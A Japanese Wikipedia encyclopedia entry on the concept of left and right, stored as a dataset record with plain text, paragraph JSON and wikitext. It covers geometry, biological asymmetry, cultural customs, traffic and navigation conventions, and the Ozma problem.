また、船舶は右側航行が原則であるが、接岸は左舷で行われることが多い。上述の「スターボード艇優先の原則」の「スターボード(starboard)」とは舵取り板を意味する「ステアリングボード(steering board)」の訛りであり、昔の船は舵取り板を船尾右舷に装備していたため、左舷で接岸が行われていた。このため、現在でも右舷は「スターボードサイド(starboard side)」、左舷は「ポートサイド(port side)」と呼ばれ、慣習的に左舷で接岸が行われている。
航空機は、船舶の慣習を多く引き継いでおり、右側航行が原則とされる。2機の航空機が、互いに正面から接近しつつある場合には、互に進路を右に変えなければならないこととされる。これは、日本の航空法施行規則第182条にも規定されている。また、ポートサイド・スターボードサイドの呼び名や左側から乗降することが多いのも、船舶と同様である。
自動車と同様国・地域によって異なるが、路面電車以外の鉄道は必ずしも自動車の通行区分と一致するわけではない。
台湾、韓国、北朝鮮では、自動車は右側通行だが、日本統治時代に建設された鉄道路線は左側通行である。また、韓国ではソウル交通公社1号線も、乗り入れ先の韓国鉄道公社に合わせて左側通行となっている。フランスも自動車は右側通行だが、鉄道はイギリスの技術支援を受けた影響で左側通行となっている。フランス国鉄はこのように左側通行であるが、パリの地下鉄(メトロ)では右側通行となっている。他、イタリアやスイス等も自動車とは逆の左側通行となっている。
逆に、インドネシアは自動車は左側通行だが、鉄道は右側通行となっている。
日本の鉄道はイギリスの技術支援を受けた影響で原則左側通行だが、例外として地形の制約により上下線の配列が左右逆になっている箇所(東海道本線の南荒尾信号場 - 関ケ原駅間、北陸本線の新疋田駅 - 敦賀駅間など)が存在する。それ以外では、三重交通神都線が複線区間で右側通行だった。また、単線区間においてホームに進入する際には、線路の構造や、閉塞取扱(の名残)、ワンマン運転における乗客の取り扱いの利便性から、右側通行になる場合がある。
運転席は右側通行の場合は右側、左側通行の場合は左側にあることが多い。
鉄道車両の形式図においては、前方が左に来る側面を「公式側」、逆の側面を「非公式側」と呼んでおり、鉄道写真などでこの用語が利用されることもある。一方で、路線環境に応じて、線路に対する左右方向の呼称が「山側/浜側」「西側/東側」のように社内で決められている例もある。
宇宙人に写真や模型などの実物を送らずに、言葉や論理だけを通信して左右を伝えることができるか、というポピュラーサイエンス上の問い掛けがある(オズマ問題)。相手が宇宙人であるので、ヒト同士のように、心臓のあるほうが左、といった定義が使えない。
上と下は重力に対して定義し、上下軸に直交する1本の軸を前後軸として定義する。その2本と直交する最後の軸が左右軸であるが、どちらが右でどちらが左であると、伝える事ができるだろうか。
このように、実物なしに、言語等論理のみで左右を伝えることは、極めて難しいことがわかる。 | [
{
"paragraph_id": 0,
"tag": "p",
"text": "左右(さゆう、ひだりみぎ)とは、六方位の名称の一つで、横・幅を指す方位の総称。絶対的な方向ではなく、おのおのの観測者にとって、上(同時に下)と前(同時に後)の方向が定まった時に初めて、その観測者にとっての左と右の方向が決まる。前後、上下とは直角に交差し、左と右は互いに正反対である。",
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},
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"text": "たとえば、アナログ時計の文字盤に向かって、(中心を基準とし)7~11 がある方向を左(ひだり)、1~5 がある方向を右(みぎ)という。あるいは南を下、北を上とした時、東の方向が右、西の方向が左となる。",
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},
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"text": "左右の概念は、鏡像関係にある二つの存在を区別するためにも援用される。",
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},
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"text": "どちらが右で他方が左となるかは、人間の取り決めによってのみ区別できる。外見的には人体はほぼ左右相称だが、実際には肝臓の位置や利き手などの非相称性があり、社会として、つまり多数派・少数派の違いとしてそれが確定できるため、左右の区別は一般的通念として世界で広く使われるが、それすら往々にして混乱を生じる(「どっちだっけ?」「お箸を持つ方だよ」というよくあるやり取りがそれを示している)。",
"title": "左右の定義"
},
{
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"tag": "p",
"text": "人間にとって、上下は重力の方向を、前後は自己の進行方向を示すというようにはっきりと異なる意味を持つのに対して、左右にはそのような判然とした価値の差が存在しないために、混乱が生じやすい。左右という概念・単語を持たない民族・言語もある。",
"title": "左右の定義"
},
{
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"tag": "p",
"text": "左右は幾何学からは定義できない。互いに直角に交わる3つの軸は、任意に前後の軸、上下の軸、左右の軸と定められる。前(または後)および上(または下)が定まったときに残る方が左右の軸であるが、どちらが右でどちらが左であるかは、右と左をそれぞれ図で示したり、何か実物の例を使うことでしか説明できない。",
"title": "幾何学"
},
{
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"tag": "p",
"text": "なお、これは幾何学において左右が特別な訳ではない。たとえば直交する3つの軸に、左右、上下をこの順に定めても、どちらが前でどちらが後かは、純粋に幾何学的には任意性が残る。",
"title": "幾何学"
},
{
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"tag": "p",
"text": "たとえばすべての辺の長さの異なる不等辺三角形は三角形の頂点ABCを右回りに振った場合と左回りに振った場合の二通りが書け、両者は同一平面上ではどのようにしても重ね合わすことができない。しかし、ユークリッド幾何学では三辺の長さが等しい三角形は合同であるとして、幾何学的にはこの二つを区別しない。",
"title": "幾何学"
},
{
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"text": "このように、平面図形では形としては同じでも、平面上ではどのように移動しても絶対に重ね合わせられない形が存在し、それはいわゆる鏡像である。ただし、我々の空間の中ではこのような図形は持ち上げて裏返せば重ね合わせられるので、これらを合同と見なす。それに対して、空間図形の場合、我々の空間の中ではこれを引っ繰り返すことはできないから、絶対に重ね合わせられず、これらを区別せざるを得ない。それに対する名に右と左を使う場合もある。これについては鏡像の節も参照のこと。",
"title": "幾何学"
},
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"tag": "p",
"text": "人体がほぼ左右対称なことから、左右の概念は、様々な幾何学的な鏡像関係を区別するために持ち出される。たとえば回転の方向を指す「右回り」や螺旋などの「右巻き」である。これは日常会話だけではなく、数学における右手系や化学におけるキラル、物理学におけるヘリシティなど、科学の様々な分野においてもそうである。",
"title": "幾何学"
},
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"text": "しかし純粋に幾何学的には、左右は本来六方の一つであり、その立場からすると、これらの左右は援用である。たとえば螺旋において、「右巻き」があるからと言って、「上巻き」や「後巻き」といった概念があるかというと、そうではない。従って、鏡像関係にある二つの螺旋のうち、片方が絶対的に「右巻き」という訳ではない。しばしば右ねじと同じ螺旋を「右巻き」と呼ぶが、それは人為的な約束事である。",
"title": "幾何学"
},
{
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"text": "一方で、巻き貝では、その巻く方向は、身体の左右と密接に結びついている。#軟体動物の場合で後述する。",
"title": "幾何学"
},
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"text": "分野によっては、どちらの螺旋が「右巻き」と呼ぶ慣例であるかが決まっている。",
"title": "幾何学"
},
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"tag": "p",
"text": "たとえば人間が向き合った状態では、自分の右手側は相手の左手側になるなど、左右は誰から見たかに依る。そこで、ある方向を定め、そちらを向いた時の左右で指定する方法がある。これを向かってという。「~に向かって右側」などと言う。似たものに背にしてという言い方もある。用例は以下の通り。",
"title": "向かって / 背にして"
},
{
"paragraph_id": 14,
"tag": "p",
"text": "自然現象においても、しばしば左右対称性、正確には鏡像対称性が見られる。つまり、鏡に映った像と実際の姿を区別することはできない。ところが、いくつかの重要な事例において、左右が対称でない場合、あるいは左右対称であっても同一でないと見なさねばならない場合がある。しかしながら、それにより左右を絶対的に定義できるかと言うと、#左右の定義と宇宙人の節で後述する通り単純ではない。",
"title": "自然現象"
},
{
"paragraph_id": 15,
"tag": "p",
"text": "前述のように、自然現象のほとんどは左右対称に現れる。しかしながら、若干の、しかし重要な左右不相称の現象が存在する。代表的なのは以下のようなものである。",
"title": "自然現象"
},
{
"paragraph_id": 16,
"tag": "p",
"text": "左右の区別を純粋に論理的に区別することの困難さについては、後述の「左右の定義と宇宙人」節も参照。",
"title": "自然現象"
},
{
"paragraph_id": 17,
"tag": "p",
"text": "人間には一般的に日常生活において、左右いずれかの手のほうが器用に動かしやすいことから、これを利き手として用いることが多い。それぞれ右利き・左利きと呼ばれ、世界的にみて右利きの人間が多数だがその理由ははっきりとわかっていない。",
"title": "身体・生物における左右"
},
{
"paragraph_id": 18,
"tag": "p",
"text": "足にも手と同様に利き足が存在する。利き手のように目立つことはないが、利き足の方がそうでない足より蹴る力が強い。 そのため、砂漠などの広い土地で目印を定めず直進しようとすると、直進することができず、利き足とは逆回り(右利きの場合左回り)の巨大な円を描いてしまうことがある(リングワンダリング)。運動生理学も参照。",
"title": "身体・生物における左右"
},
{
"paragraph_id": 19,
"tag": "p",
"text": "生物の内臓は、左右に非対称性が見られ、例えば人間の場合、通常は自分から見て、肺は左右にあるが右側の方が大きい。また肝臓は右側に大きく偏り、胃は左、盲腸は右、ついでに腸の配置は対称性がない。この状態は「正位」と呼ばれる。しかし、稀には臓器が左右逆の位置にある者もあり、これは「逆位」と呼ばれている。全て逆の人もいれば特定の臓器のみ逆転している人もいる。全臓器反転症も参照。",
"title": "身体・生物における左右"
},
{
"paragraph_id": 20,
"tag": "p",
"text": "動物の脳はほぼ左右対称な形状をしており、大脳および小脳は左右の半球に分かれて存在している。大脳は反対側の半身の、小脳は同じ側の半身の運動・感覚を担当しているが、それぞれの半球の役割は同等ではない。その差は特に大脳で著しく、優位半球と呼ばれる側の大脳が論理思考、言語など主要な精神機能を司る。逆の劣位半球と呼ばれる側は空間認識に関わっているなどが明らかになっているが、まだ十分に解明されてはいない。また、両側大脳にあって短期記憶を司る海馬も優位側は言語的記憶、劣位側は非言語的記憶に関わることが知られる。右利きの人間のほとんど(約95%)で優位半球は左、劣位半球は右である。左利きの人間の場合にはあまり一定していないうえ、優位半球と劣位半球の区別が明確になっていないことも多い。",
"title": "身体・生物における左右"
},
{
"paragraph_id": 21,
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"text": "脳の左右に関しては俗説も多く見られる。脳機能局在論#右脳・左脳論を見よ。",
"title": "身体・生物における左右"
},
{
"paragraph_id": 22,
"tag": "p",
"text": "生物一般の場合も、左右の対称性と非対称性が入り混じる。",
"title": "身体・生物における左右"
},
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"tag": "p",
"text": "動物の場合、上下は重力から自然に定まり、また前後は、多くはほぼ水平方向であるが、主に進む方向であり、これらの二つはきわめて重要である。左右は、その残りから生ずる。",
"title": "身体・生物における左右"
},
{
"paragraph_id": 24,
"tag": "p",
"text": "個体としては外部形態においては左右対称性が見られるものがほとんどである。内部形態では左右対称性と非対称性が混ざる。ヒトの場合の主な非対称は心臓と肝臓の位置、及び消化管の配置である。しかし、これらも本来は左右対称な形である。心臓もその発生からは体の中央にあるべきものである。消化管も口から肛門までの長さであれば真っすぐに配置するはずで、他の動物群においても体長より長い消化管を持つ場合、その配置は非対称である例が多い。",
"title": "身体・生物における左右"
},
{
"paragraph_id": 25,
"tag": "p",
"text": "もともと左右対称だったのが、左右どちらかが退化することで左右非対称となる例もある。たとえばオタマジャクシの内鰓の出入り口は左側だけにある。",
"title": "身体・生物における左右"
},
{
"paragraph_id": 26,
"tag": "p",
"text": "よりはっきりした非対称が見られるものもある。たとえばヒラメやカレイでは体側面を下にし、反対側に両眼が移動している。他の魚の鱗を食ういわゆるスケールイーターでは獲物をねらう向きによって顔が歪んでいる種がある。カタツムリを専食するイワサキセダカヘビの仲間では、多数派である右巻きのカタツムリ捕食に特殊化して、下顎の歯の本数に著しい左右差が進化している。化石動物のホマロゾアは体が全体に左右非対称となっていた。",
"title": "身体・生物における左右"
},
{
"paragraph_id": 27,
"tag": "p",
"text": "植物の場合には、移動方向としての前後が無い為、左右も無い。とはいえ、形態によっては鏡像対称に近くなることもあり、またたとえば葉など、部分的にはほぼ鏡像対称になる事もある。たとえば双子葉植物では、発芽から間もない頃はほぼ鏡像対称である。",
"title": "身体・生物における左右"
},
{
"paragraph_id": 28,
"tag": "p",
"text": "藻類や菌類についても似た事が言える。",
"title": "身体・生物における左右"
},
{
"paragraph_id": 29,
"tag": "p",
"text": "さらに左右非対称がある例に軟体動物の腹足類がある。この類では、殻が螺旋状に巻いているので、左右が非対称になっている。それだけでなく、その進化の初期に体がねじれたと言われており、内臓や神経系の配置に独特のねじれが見られる。なお、そのねじれが戻ったと見られるものもある。",
"title": "身体・生物における左右"
},
{
"paragraph_id": 30,
"tag": "p",
"text": "また、これらの動物では殻の巻き方に左右両側のものがあり、それぞれ群によっておおよそ決まっているほかに、その中でも種によって異なっている。たとえば陸産貝類ではカタツムリは右巻きで、キセルガイは左巻きである。そしてカタツムリ類にも左巻きの種が散見される。",
"title": "身体・生物における左右"
},
{
"paragraph_id": 31,
"tag": "p",
"text": "この巻き方の差異は生殖隔離の仕組みとしても働いている。カタツムリ類の生殖器は体の片方によっており、二頭が行き違う形で交尾が行われるが、巻きが逆のものでは生殖器のある側が反対になるため、交尾が成立しない。このことから、巻きが反対になる突然変異が起きれば、それが種分化の機会になる可能性も指摘される。なお、巻き貝全般では同種内で両方の巻き方がある種もある。",
"title": "身体・生物における左右"
},
{
"paragraph_id": 32,
"tag": "p",
"text": "道具や機械によっては、急須などのように右利き用に作られているものも多い。これについては利き手を参照されたい。",
"title": "道具・機械に関する左右"
},
{
"paragraph_id": 33,
"tag": "p",
"text": "冷蔵庫では、左右どちらからでも開くドアを有するものが1954年に東芝から発売されている。",
"title": "道具・機械に関する左右"
},
{
"paragraph_id": 34,
"tag": "p",
"text": "陸上のトラック競技は、左回りで行われる。これは利き足が右である人間が多く、その場合右足の方が左足と比べて地面を蹴る力が強いので、左回りの方が速く走れるためである。競馬のレースは、左回りのものと右回りのものの双方がある。競艇では、船舶が右側航行であるのに合わせて、左回りでレースが行われる。",
"title": "スポーツにおける左右"
},
{
"paragraph_id": 35,
"tag": "p",
"text": "政治的・思想的な立場を表すために右と左の語が用いられる場合がある。右(右翼・右派)は保守的・国粋的な立場を、左(左翼・左派)は急進的・革新的な立場をそれぞれ意味することが一般的である。この由来は、フランス革命時の国民議会で、議長席から見て、右に保守派、左に急進派のジャコバン党が座ったことである。左翼・右翼も参照。",
"title": "政治的・思想的立場と左右"
},
{
"paragraph_id": 36,
"tag": "p",
"text": "文化によっては、左と右に優劣や貴賎の意味を持たすことがある。",
"title": "文化と左右"
},
{
"paragraph_id": 37,
"tag": "p",
"text": "古代インドの礼法では右回りを吉、左回りを不吉とした。インドを発祥とする仏教にも右旋を優位とする礼法が多く見られ、仏教圏の文化に影響を与えている。また、古代中国では北辰信仰が盛んであり、北極星を中心に左旋回する天体の運行を人間の方位観に当てはめ、南面する天子を中心とした秩序を構成した。",
"title": "文化と左右"
},
{
"paragraph_id": 38,
"tag": "p",
"text": "一方、老子や道教では「吉事尚左、凶事右」として主に左が貴ばれた。中国では時代によって左右の貴賎が変わり、時代順に周は左を貴び、戦国・秦・漢は右を、六朝・隋・唐・宋は左を、元は右を、明・清は左を貴んだ。これについて、左を賎しめ右を貴んだ時代は荒れ乱れた世が多く、「君子、居れば則ち左を貴び、兵を用うれば則ち右を貴ぶ」という老子の言葉の通りである、とする見方がある。",
"title": "文化と左右"
},
{
"paragraph_id": 39,
"tag": "p",
"text": "奈良時代から平安時代にかけての日本は、中国の歴代王朝の中でも特に左を貴んだとされる唐の影響を強く受けていたため、当時の日本では右大臣よりも左大臣が貴い地位であった。",
"title": "文化と左右"
},
{
"paragraph_id": 40,
"tag": "p",
"text": "漢の時代の中国では、官吏を賎い地位に下げることを「左遷」と表現していた(『漢書』周昌伝)。現在の日本でも、会社員や公務員の地位を下げたり条件の悪い勤務地へ強制的に転勤させることを「左遷」(させん)と言うが、この言葉は現代中国語の語彙としては消滅している。",
"title": "文化と左右"
},
{
"paragraph_id": 41,
"tag": "p",
"text": "日本の国会議事堂は、建物は左右対称だが、建物の正面から見て左側が衆議院、右側が参議院である。",
"title": "文化と左右"
},
{
"paragraph_id": 42,
"tag": "p",
"text": "日本では、襖や障子は通常右側が手前になるようにはめ込む。引き戸やアルミサッシなどでも同様である。",
"title": "文化と左右"
},
{
"paragraph_id": 43,
"tag": "p",
"text": "劇場の舞台では、演者と観客が対面する形での上演が多く、左右で方向を表すと混乱しやすい。",
"title": "文化と左右"
},
{
"paragraph_id": 44,
"tag": "p",
"text": "日本では、観客から舞台に向かって見たときの右側を上手(かみて)、左側を下手(しもて)と呼び、左右の語は使わない。",
"title": "文化と左右"
},
{
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"tag": "p",
"text": "英語の表現では、この二つを\"stage left\"(上手)、\"stage right\"(下手)と呼ぶ。舞台上の演者から観客に向かって見る立場である。実際には、やはり混乱しやすいので、プロンプターが通常上手にいることから、\"prompt\"(上手)、\"opposite prompt\"(下手)という語も使われる。",
"title": "文化と左右"
},
{
"paragraph_id": 46,
"tag": "p",
"text": "日本の着物は、現代では通常、男性用、女性用ともにその着物を着る者からみて右側の部分が手前となるように着付ける。これを、「右前(みぎまえ)」という。例外的に、死者に着せる和服のみは「左前(ひだりまえ)」に着せる。",
"title": "文化と左右"
},
{
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"tag": "p",
"text": "これに対して、洋服では、男性用は「右前」、女性用では「左前」のものが一般的である。",
"title": "文化と左右"
},
{
"paragraph_id": 48,
"tag": "p",
"text": "日本の和食において、飯茶碗と汁茶碗は、食事をする者から見てそれぞれ左、右に配膳することとされる。また、焼き魚を皿に盛り付ける場合には、食事をする者からみて左側に頭を据えるものとされている。",
"title": "文化と左右"
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{
"paragraph_id": 49,
"tag": "p",
"text": "洋食のテーブルセットは、通常、客からみて右側にナイフ、左側にフォークがセットされている。これはナイフは右手で、フォークが左手で用いるのが一応のマナーとされるからであるが、ナイフを置き、フォークを右手に持ち替えて食べることをアメリカン・スタイルと呼びマナー上も許容されている。",
"title": "文化と左右"
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"paragraph_id": 50,
"tag": "p",
"text": "アラブなどイスラム教を信仰する地域や、インドなどヒンドゥー教を信仰する地域ではフォークやスプーンを用いず、直接食べ物を指で口に運ぶことが多いが、左手は不浄の手(用便の際に使用)とされ、食事の際には用いられない。",
"title": "文化と左右"
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{
"paragraph_id": 51,
"tag": "p",
"text": "平城京や平安京では、東側は左京、西側は右京と呼ばれる。これは、北部にある御所において天皇は南むきに玉座に座るために、街の東側は左側に、街の西側は右側にみえることに由来する。現代の地図上の左右、つまり地図の北を上にしたときの左右ではない。現代の京都市の左京区、右京区は、平安京とは地域的にずれるがこれに倣ったものである。",
"title": "文化と左右"
},
{
"paragraph_id": 52,
"tag": "p",
"text": "しかしながら、京都の五山送り火には西と東に二つの「大文字」があるが、こちらは西側の大文字が「左大文字」と呼ばれる。",
"title": "文化と左右"
},
{
"paragraph_id": 53,
"tag": "p",
"text": "占いや順位においては、左右に優劣をつけることが、様々な文化に見られる。",
"title": "文化と左右"
},
{
"paragraph_id": 54,
"tag": "p",
"text": "英語で「凶運な」を意味する“sinister”は、ラテン語の「左」sinistraに由来する。日本語にも、“sinister”の忠実な訳語として「左前」がある。なお、対義語で「右の」は \"dexter\" である。一方、中国では陰陽五行思想では左が陽とされ、太極拳や気功は左から始まる。",
"title": "文化と左右"
},
{
"paragraph_id": 55,
"tag": "p",
"text": "川下に向かって川を見た時、左側の岸を左岸、右側の岸を右岸と呼ぶ。今日ではこの慣例が定着している。",
"title": "文化と左右"
},
{
"paragraph_id": 56,
"tag": "p",
"text": "イエメンのアラビア語国名「アル・ヤマン」は「右」を意味する「ヤマン」に定冠詞を冠するものである。メッカのカアバに向かって立つと、顔は東を向き、右手に砂漠とこの地方が広がる。したがってメッカ以南の地は、すべて「右側」と呼ばれた。やがて時代を経て、アル・ヤマンはイエメンだけ指すようになった。",
"title": "文化と左右"
},
{
"paragraph_id": 57,
"tag": "p",
"text": "漢字の部首において偏(へん)は左に、旁(つくり)は右に位置する。",
"title": "言語、表記、文字の左右"
},
{
"paragraph_id": 58,
"tag": "p",
"text": "日本語の表記方法としては、縦書きと横書きがあるが、縦書きの場合には、右列から左列に、横書きの場合には、左から右へと文字が綴られるのが標準である。戦前までは横書きを右から読むことが多かったが、これは1行1文字の縦書きであるとみることができる。また、縦書きを左から書くこともある。",
"title": "言語、表記、文字の左右"
},
{
"paragraph_id": 59,
"tag": "p",
"text": "世界には、横書きでも右から左に書く文字体系も、左から右に書く体系もある。",
"title": "言語、表記、文字の左右"
},
{
"paragraph_id": 60,
"tag": "p",
"text": "複式簿記の仕訳の表記においては借方を左側に、貸方を右側に書くように定められている。借方貸方の用語が類似していて混乱しやすく、また歴史的な語義が失われていることから、借方貸方という用語は単に左側右側を意味しているに過ぎない。",
"title": "言語、表記、文字の左右"
},
{
"paragraph_id": 61,
"tag": "p",
"text": "国・地域によって異なる。自動車が普及している国では、車両とは逆の通行区分になっている場合が多い(対面交通)。",
"title": "交通における左右"
},
{
"paragraph_id": 62,
"tag": "p",
"text": "日本の道路では歩行者は、歩道・路側帯と車道の区別のない道路に於いては、原則車両とは逆の右側通行である。これは道路交通法第10条第1項に定められている。1900年に発令された道路取締規則、1920年に制定された道路取締令では、歩行者も車両と同じく左側通行であった(これは、武士が左側に帯刀していた為、すれ違う時に鞘が触れ合わないよう、左側を歩いていたからとの説がある)。しかし終戦直後、死亡事故が頻発した為、1949年11月1日に「車両は左側通行、歩行者は右側通行」の対面交通が取り入れられた。しかし、鉄道駅の通路は現在も左側通行の所が多い。また、盲導犬は道路の左側を歩くよう訓練されており、道交法でも左側通行が認められている。",
"title": "交通における左右"
},
{
"paragraph_id": 63,
"tag": "p",
"text": "日本では、エスカレーターでは左に立ち止まり、歩く者は右側を行くのが慣習となっている。但し、大阪では右に立ち止まり、歩く者は左側を行く。",
"title": "交通における左右"
},
{
"paragraph_id": 64,
"tag": "p",
"text": "大阪での慣習の由来については、いくつかの説がある。そのひとつに、1970年代に、阪急電車の梅田駅で、右に立つことが推奨されたため、右側に立つことが定着したというものがある。",
"title": "交通における左右"
},
{
"paragraph_id": 65,
"tag": "p",
"text": "しかし、エスカレーターは立ち止まって乗ることを前提に設計されており、鉄道各社は2列に並び立ち止まって乗るよう呼び掛けている。また、埼玉県では、エスカレーターでは歩くことそのものが条例違反(ただし罰則はない)である。",
"title": "交通における左右"
},
{
"paragraph_id": 66,
"tag": "p",
"text": "世界には、車両が右側通行の国と左側通行の国がある。日本は左側通行であり、これは道路交通法第17条第4項に定められている。ただし、例外として地形の制約などにより上下線の配列が左右逆になっている箇所(北陸自動車道 敦賀IC~今庄IC間等)も存在する。",
"title": "交通における左右"
},
{
"paragraph_id": 67,
"tag": "p",
"text": "日本以外の左側通行の国や地域の多くは、イギリス、アイルランド、オーストラリア、ニュージーランド、タイ王国、マレーシアなど、旧大英帝国・イギリスの旧植民地であるところが大部分である。",
"title": "交通における左右"
},
{
"paragraph_id": 68,
"tag": "p",
"text": "左側通行では右ハンドル、右側通行では左ハンドルの車の使用が標準となる。右ハンドル左ハンドルどちらの場合もクラッチ・ブレーキ・アクセルの並びは左からこの順で変わりはない。ヘッドライトのロービームも、左側通行用の車と右側通行用の車で配光が異なる。つまり、ロービームは前面を満遍なく照らすのではなく、対向車を幻惑させないように配光がされている。日本や英国などでは、右ハンドル、左ハンドルどちらの仕様の車両であっても国内の法制に従って車両を登録し、公道上を運行させることができる。",
"title": "交通における左右"
},
{
"paragraph_id": 69,
"tag": "p",
"text": "また、ヨーロッパ連合においては左側通行である英国やアイルランドとその他の右側通行国との間、タイとラオスの両国間、また中国の国内において香港やマカオと他地域との間などでは自動車による往来が可能であるため、必然的に右ハンドル仕様車と左ハンドル仕様車が同一の交通の中で混在する。この場合、車両通行の左右が入れ替わる場所では立体交差にするなどして交通の錯綜を防いでいる。",
"title": "交通における左右"
},
{
"paragraph_id": 70,
"tag": "p",
"text": "スターボード艇優先の原則により、船舶は万国共通で右側航行が原則となっている(海上における衝突の予防のための国際規則に関する条約)。",
"title": "交通における左右"
},
{
"paragraph_id": 71,
"tag": "p",
"text": "日本でも海上衝突予防法で",
"title": "交通における左右"
},
{
"paragraph_id": 72,
"tag": "p",
"text": "とされている。",
"title": "交通における左右"
},
{
"paragraph_id": 73,
"tag": "p",
"text": "ただし例外もあり、例えば青函連絡船が運行されていた時代の青函航路は左側通行であった。",
"title": "交通における左右"
},
{
"paragraph_id": 74,
"tag": "p",
"text": "また、船舶は右側航行が原則であるが、接岸は左舷で行われることが多い。上述の「スターボード艇優先の原則」の「スターボード(starboard)」とは舵取り板を意味する「ステアリングボード(steering board)」の訛りであり、昔の船は舵取り板を船尾右舷に装備していたため、左舷で接岸が行われていた。このため、現在でも右舷は「スターボードサイド(starboard side)」、左舷は「ポートサイド(port side)」と呼ばれ、慣習的に左舷で接岸が行われている。",
"title": "交通における左右"
},
{
"paragraph_id": 75,
"tag": "p",
"text": "航空機は、船舶の慣習を多く引き継いでおり、右側航行が原則とされる。2機の航空機が、互いに正面から接近しつつある場合には、互に進路を右に変えなければならないこととされる。これは、日本の航空法施行規則第182条にも規定されている。また、ポートサイド・スターボードサイドの呼び名や左側から乗降することが多いのも、船舶と同様である。",
"title": "交通における左右"
},
{
"paragraph_id": 76,
"tag": "p",
"text": "自動車と同様国・地域によって異なるが、路面電車以外の鉄道は必ずしも自動車の通行区分と一致するわけではない。",
"title": "交通における左右"
},
{
"paragraph_id": 77,
"tag": "p",
"text": "台湾、韓国、北朝鮮では、自動車は右側通行だが、日本統治時代に建設された鉄道路線は左側通行である。また、韓国ではソウル交通公社1号線も、乗り入れ先の韓国鉄道公社に合わせて左側通行となっている。フランスも自動車は右側通行だが、鉄道はイギリスの技術支援を受けた影響で左側通行となっている。フランス国鉄はこのように左側通行であるが、パリの地下鉄(メトロ)では右側通行となっている。他、イタリアやスイス等も自動車とは逆の左側通行となっている。",
"title": "交通における左右"
},
{
"paragraph_id": 78,
"tag": "p",
"text": "逆に、インドネシアは自動車は左側通行だが、鉄道は右側通行となっている。",
"title": "交通における左右"
},
{
"paragraph_id": 79,
"tag": "p",
"text": "日本の鉄道はイギリスの技術支援を受けた影響で原則左側通行だが、例外として地形の制約により上下線の配列が左右逆になっている箇所(東海道本線の南荒尾信号場 - 関ケ原駅間、北陸本線の新疋田駅 - 敦賀駅間など)が存在する。それ以外では、三重交通神都線が複線区間で右側通行だった。また、単線区間においてホームに進入する際には、線路の構造や、閉塞取扱(の名残)、ワンマン運転における乗客の取り扱いの利便性から、右側通行になる場合がある。",
"title": "交通における左右"
},
{
"paragraph_id": 80,
"tag": "p",
"text": "運転席は右側通行の場合は右側、左側通行の場合は左側にあることが多い。",
"title": "交通における左右"
},
{
"paragraph_id": 81,
"tag": "p",
"text": "鉄道車両の形式図においては、前方が左に来る側面を「公式側」、逆の側面を「非公式側」と呼んでおり、鉄道写真などでこの用語が利用されることもある。一方で、路線環境に応じて、線路に対する左右方向の呼称が「山側/浜側」「西側/東側」のように社内で決められている例もある。",
"title": "交通における左右"
},
{
"paragraph_id": 82,
"tag": "p",
"text": "宇宙人に写真や模型などの実物を送らずに、言葉や論理だけを通信して左右を伝えることができるか、というポピュラーサイエンス上の問い掛けがある(オズマ問題)。相手が宇宙人であるので、ヒト同士のように、心臓のあるほうが左、といった定義が使えない。",
"title": "左右の定義と宇宙人"
},
{
"paragraph_id": 83,
"tag": "p",
"text": "上と下は重力に対して定義し、上下軸に直交する1本の軸を前後軸として定義する。その2本と直交する最後の軸が左右軸であるが、どちらが右でどちらが左であると、伝える事ができるだろうか。",
"title": "左右の定義と宇宙人"
},
{
"paragraph_id": 84,
"tag": "p",
"text": "このように、実物なしに、言語等論理のみで左右を伝えることは、極めて難しいことがわかる。",
"title": "左右の定義と宇宙人"
}
]
| 左右(さゆう、ひだりみぎ)とは、六方位の名称の一つで、横・幅を指す方位の総称。絶対的な方向ではなく、おのおのの観測者にとって、上(同時に下)と前(同時に後)の方向が定まった時に初めて、その観測者にとっての左と右の方向が決まる。前後、上下とは直角に交差し、左と右は互いに正反対である。 たとえば、アナログ時計の文字盤に向かって、(中心を基準とし)7~11 がある方向を左(ひだり)、1~5 がある方向を右(みぎ)という。あるいは南を下、北を上とした時、東の方向が右、西の方向が左となる。 左右の概念は、鏡像関係にある二つの存在を区別するためにも援用される。 | {{otheruses||地名の「左右(そう)」|越前町}}
{{redirectlist|左|振付師集団|Hidali|イラストレーター|左 (イラストレーター)|姓の一つ|左 (姓)}}
{{Wiktionary|左右}}
[[ファイル:Braun ABW41 (silber).jpg|240px|サムネイル|右|この写真の場合、6と12を結ぶ直線を基準に取ると、1, 2, 3, 4, 5がある方向が右、7, 8, 9, 10, 11がある方向が左となる。7と11を結ぶ直線を基準にとれば、6と12は右側にあることになる。]]
'''左右'''(さゆう、ひだりみぎ)とは、六[[方位]]の名称の一つで、[[横]]・[[幅]]を指す方位の総称。絶対的な方向ではなく、おのおのの観測者にとって、[[上]](同時に下)と[[前]](同時に後)の方向が定まった時に初めて、その観測者にとっての左と右の方向が決まる。前後、上下とは直角に交差し、左と右は互いに正反対である。
たとえば、アナログ[[時計]]の文字盤に向かって、(中心を基準とし)7~11 がある方向を'''左'''(ひだり)、1~5 がある方向を'''右'''(みぎ)という。あるいは[[南]]を下、[[北]]を上とした時、[[東]]の方向が右、[[西]]の方向が左となる。
左右の概念は、[[鏡像]]関係にある二つの存在を区別するためにも援用される。
== 左右の定義 ==
どちらが'''右'''で他方が'''左'''となるかは、人間の取り決めによってのみ区別できる。外見的には[[人体]]はほぼ左右相称だが、実際には[[肝臓]]の位置や[[利き手]]などの非相称性があり、社会として、つまり多数派・少数派の違いとしてそれが確定できるため、左右の区別は一般的通念として世界で広く使われるが、それすら往々にして混乱を生じる(「どっちだっけ?」「お箸を持つ方だよ」というよくあるやり取りがそれを示している)。
人間にとって、上下は[[重力]]の方向を、前後は自己の進行方向を示すというようにはっきりと異なる意味を持つのに対して、左右にはそのような判然とした価値の差が存在しないために、混乱が生じやすい。左右という概念・単語を持たない民族・言語もある。
== 幾何学 ==
左右は[[幾何学]]からは定義できない。互いに直角に交わる3つの軸は、任意に前後の軸、上下の軸、左右の軸と定められる。[[前後|前]](または[[前後|後]])および[[上下|上]](または[[上下|下]])が定まったときに残る方が左右の軸であるが、どちらが右でどちらが左であるかは、右と左をそれぞれ'''図で示し'''たり、何か'''実物の例'''を使うことでしか説明できない。
なお、これは幾何学において左右が特別な訳ではない。たとえば直交する3つの軸に、左右、上下をこの順に定めても、どちらが前でどちらが後かは、純粋に幾何学的には任意性が残る。
たとえばすべての辺の長さの異なる[[不等辺三角形]]は三角形の頂点ABCを右回りに振った場合と左回りに振った場合の二通りが書け、両者は同一平面上ではどのようにしても重ね合わすことができない。しかし、[[ユークリッド幾何学]]では三辺の長さが等しい三角形は合同であるとして、幾何学的にはこの二つを区別しない。
